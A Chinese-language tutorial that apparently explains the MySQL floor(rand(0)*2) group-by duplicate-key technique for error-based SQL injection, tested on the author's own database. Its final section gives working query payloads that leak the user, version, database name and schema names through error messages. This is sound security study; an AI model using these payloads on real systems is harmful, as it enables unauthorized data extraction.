天天看點

mysql報錯注入原理分析之floor()

環境:mysql 5.1.73

[root@localhost ~]# mysql --version
mysql  Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#
           

1.首先普及幾個mysql裡面的函數

  1. floor()
  • 在mysql裡面floor()函數是取整(注意:不是四舍五入),下面實際操作驗證一下
mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)
           

[圖檔上傳失敗...(image-2b1322-1528340788318)]

mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> 
           

[圖檔上傳失敗...(image-da5c47-1528340788318)]

事實證明上面說的沒毛病
  1. group by
  • group by 我的了解是分組查詢,根據一個列或者多個列,值相等的在一起
  • 下面實際操作了解一下,首先在資料庫

    test

    裡面建立一張

    test

mysql> CREATE TABLE IF NOT EXISTS `test`(
    ->    `id` INT AUTO_INCREMENT PRIMARY KEY,
    ->    `name` VARCHAR(100) NOT NULL,
    ->    `number` INT NOT NULL,
    ->    `content` VARCHAR(100)
    -> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)

mysql> 
           

[圖檔上傳失敗...(image-c3be09-1528340788318)]

  • 然後在test表中插入一些資料
mysql> insert into test
    -> (name,number,content)
    -> values
    -> ('aa',2,'11'),
    -> ('aa',3,'22'),
    -> ('bb',4,'33'),
    -> ('bb',5,'44'),
    -> ('bb',5,'55'),
    -> ('cc',6,'66'),
    -> ('cc',6,'77'),
    -> ('dd',2,'88'),
    -> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9  Duplicates: 0  Warnings: 0

mysql> 
           

[圖檔上傳失敗...(image-a80ee5-1528340788318)]

mysql> select * from test;
           

[圖檔上傳失敗...(image-f62cfa-1528340788318)]

  • 接下來進行我們的探索
mysql> select * from test group by name;
           

[圖檔上傳失敗...(image-9c13ef-1528340788318)]

通過比較,可以看出通過

group by

将字段

name

相同的進行分組查詢,注意這個地方不要看其他内容,單純了解一下這個分組的意思
  • 然後我們接着來看,上面不是說了分組的含義嗎?其實資料庫在執行

    group by

    時候建立了一張虛拟的表,是知道

    name

    這個字段相同的有幾條結果的,如下圖測試說明:

[圖檔上傳失敗...(image-234e0-1528340788318)]

  1. rand()
  • 在mysql裡面rand()函數是随機産生一個範圍(0,1)的随機數**

[圖檔上傳失敗...(image-8ba20b-1528340788318)]

  • 那麼有人也許有疑問,随機産生的值有規律嗎?為了驗證猜想,下面找一個資料量比較大的表

    information_schema.tables

    測試一下,這裡我隻取30條資料實驗
mysql> select rand() from information_schema.tables limit 0,30;
           

[圖檔上傳失敗...(image-8c769b-1528340788318)]

首先可以檢視到每一條都是随機産生的浮點型值,而且這條sql語句經過多次執行發現,每一次執行結果也是随機的,由此可以得出此時rand()是真随機.
  • 這樣看起來是不是有點累,開始的時候我首先普及了一個

    floor()

    取整函數,那麼接下來我們可以這樣做,會更清晰,更直覺.
mysql> select floor(rand()) from information_schema.tables limit 0,30;
           

[圖檔上傳失敗...(image-f940f1-1528340788318)]

這樣看是不是就這清晰直覺明了,但是有人又有疑問了吧,為什麼都是0呢,不是随機的嗎,别忘了我們

rand()

随機範圍(0,1),也就是随機出來的都是小于1的小數,然後

floor()

取整後可不都是0嗎,這樣看着友善了,但是卻看不到随機性了,那好我們想個辦法繼續往下看。
mysql> select floor(rand()*2) from information_schema.tables limit 0,30;

           

[圖檔上傳失敗...(image-99f8ee-1528340788318)]

這步看着應該不難了解吧,就是将随機範圍(0,1)擴大2倍變成(0,2),這樣随機值是不是有0點多的、1點多的,然後取整就可以清晰簡單的研究其規律。經過多次執行這條語句發現:是沒有規律的。這和之前沒取整說的真随機是一樣的。
  • 既然

    rand()

    是沒有規律的,我們怎麼研究?報錯注入我們谷歌百度發現都是

    rand(0)

    ,那好,我們在試一試有随機因子是什麼情況
mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;
           

[圖檔上傳失敗...(image-c400fb-1528340788319)]

經過多次執行這條語句,你會發現這是一個規律,每次随機結果和這個一模一樣

2.有了上面講的基礎知識,我們接下來就真正的研究下報錯注入

  • 首先看一條報錯的sql語句
mysql> select count(*) from test.test group by floor(rand(0)*2);
           

[圖檔上傳失敗...(image-5e2612-1528340788319)]

可以看到報錯顯示位

'1'

,這個錯誤就是由于主鍵不能重複而暴出的錯誤
  • 接下來一步一步分析一下這個過程

    (1).首先查詢之前會預設建立一張空的虛拟表,如下圖所示:

[圖檔上傳失敗...(image-f5947e-1528340788319)]

(2).取第一條記錄,執行

floor(rand(0)*2)

,發現結果為0(第一次計算),查詢虛拟表,發現0的鍵值不存在,則

floor(rand(0)*2)

會被再計算一次,結果為1(第二次計算),插入虛表,這時第一條記錄查詢完畢,如下圖:

[圖檔上傳失敗...(image-1743ae-1528340788319)]

(3).查詢第二條記錄,再次計算

floor(rand(0)*2)

,發現結果為1(第三次計算),查詢虛表,發現1的鍵值存在,是以

floor(rand(0)*2)

不會被計算第二次,直接

count(*)

加1,第二條記錄查詢完畢,結果如下:

[圖檔上傳失敗...(image-b53fd2-1528340788319)]

(4).查詢第三條記錄,再次計算

floor(rand(0)*2)

,發現結果為0(第4次計算),查詢虛表,發現鍵值沒有0,則資料庫嘗試插入一條新的資料,在插入資料時

floor(rand(0)*2)

被再次計算,作為虛表的主鍵,其值為1(第5次計算),然而1這個主鍵已經存在于虛拟表中,而新計算的值也為1(主鍵鍵值必須唯一),是以插入的時候就直接報錯了。

(5).整個查詢過程

floor(rand(0)*2)

被計算了5次,這也是開始說讓記住前5個值(01101)的緣故了查詢原資料表3次,是以這就是為什麼資料表中需要3條資料,使用該語句才會報錯的原因。

3.利用mysql報錯手法

  • 首先收集基本收據庫資訊
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql> 
           

[圖檔上傳失敗...(image-e91717-1528340788319)]

  • 然後試試暴庫
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql> 
           

[圖檔上傳失敗...(image-805896-1528340808287)]

  • ok沒毛病,就是這樣利用的往下就不再多說。